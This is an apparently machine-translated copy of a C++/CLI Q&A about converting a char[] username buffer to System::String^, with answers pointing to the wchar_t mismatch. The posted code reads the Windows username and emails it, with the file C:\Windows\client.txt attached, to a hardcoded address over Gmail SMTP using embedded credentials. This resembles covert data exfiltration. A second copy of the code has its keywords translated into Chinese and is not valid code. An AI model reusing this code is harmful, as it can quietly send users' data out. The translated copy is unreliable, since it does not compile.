Visual c++ 将字符[]转换为System::String^(VC+;+;)时出现问题

Visual c++ 将字符[]转换为System::String^(VC+;+;)时出现问题,visual-c++,c++-cli,Visual C++,C++ Cli,我正在尝试将char[]转换为String^,但没有成功。转换仅返回用户名的第一个字符,作为MailMessage^的属性主题中的示例follow。有人能帮我吗?多谢各位 #include "windows.h" #include "Lmcons.h" #include "tchar.h" using namespace System::Net::Mail; void sendMail() {

我正在尝试将char[]转换为String^,但没有成功。转换仅返回用户名的第一个字符,作为MailMessage^的属性主题中的示例follow。有人能帮我吗?多谢各位

#include "windows.h" #include "Lmcons.h" #include "tchar.h" using namespace System::Net::Mail; void sendMail() { char username[UNLEN+1]; DWORD username_len = UNLEN+1; GetUserName((LPWSTR)username, &username_len); String^ user = gcnew String(username); String^ email = L"mylogin@gmail.com"; String^ to = L"recipient@live.com"; String^ password = L"password"; MailMessage^ message = gcnew MailMessage( email,to ); message->Subject = user; message->Body = L"================="; message->Attachments->Add(gcnew Attachment("C:\\Windows\\client.txt")); SmtpClient^ client = gcnew SmtpClient( "smtp.gmail.com", 587 ); client->UseDefaultCredentials = true; client->UseDefaultCredentials = false; client->Credentials = gcnew System::Net::NetworkCredential(email, password); client->EnableSsl = true; client->Send(message); client->~SmtpClient(); } #包括“windows.h” #包括“Lmcons.h” #包括“tchar.h” 使用名称空间System::Net::Mail; void sendMail() { 字符用户名[UNLEN+1]; DWORD username_len=UNLEN+1; GetUserName((LPWSTR)username和username\u len); 字符串^user=gcnew字符串(用户名); 字符串^email=L“mylogin@gmail.com"; 字符串^to=L“recipient@live.com"; 字符串^password=L“password”; MailMessage^message=gcnewmailmessage(电子邮件,收件人); 消息->主题=用户; 消息->正文=L“==================================”; 消息->附件->添加(新附件(“C:\\Windows\\client.txt”); SmtpClient^client=gcnewsmtpclient(“smtp.gmail.com”,587); 客户端->UseDefaultCredentials=true; 客户端->UseDefaultCredentials=false; 客户端->凭证=gcnew System::Net::NetworkCredential(电子邮件、密码); 客户端->启用SSL=true; 客户端->发送(消息); client->~SmtpClient(); }
(LPWSTR)强制转换是邪恶的,它阻止了编译器告诉您您做错了。但是,这并没有阻止你犯错,只得到一个角色确实是你期望的结果。用户名变量使用wchar_t[]而不是char[]。非常感谢@Hans Passant。我跟着你的线索,现在工作很好!当然,这是因为您正在调用
GetUserNameW
,它与
System::String
一样使用Unicode/UTF-16。您可以删除“tchar.h”和所有“T”类型。事实上,您可以删除几乎所有的Win32,因为.NET基类库将其封装在更易于使用的类型和函数中,带有异常而不是错误代码。@LuizEduardo-您可能需要回答自己的问题,并参考Hans的答案。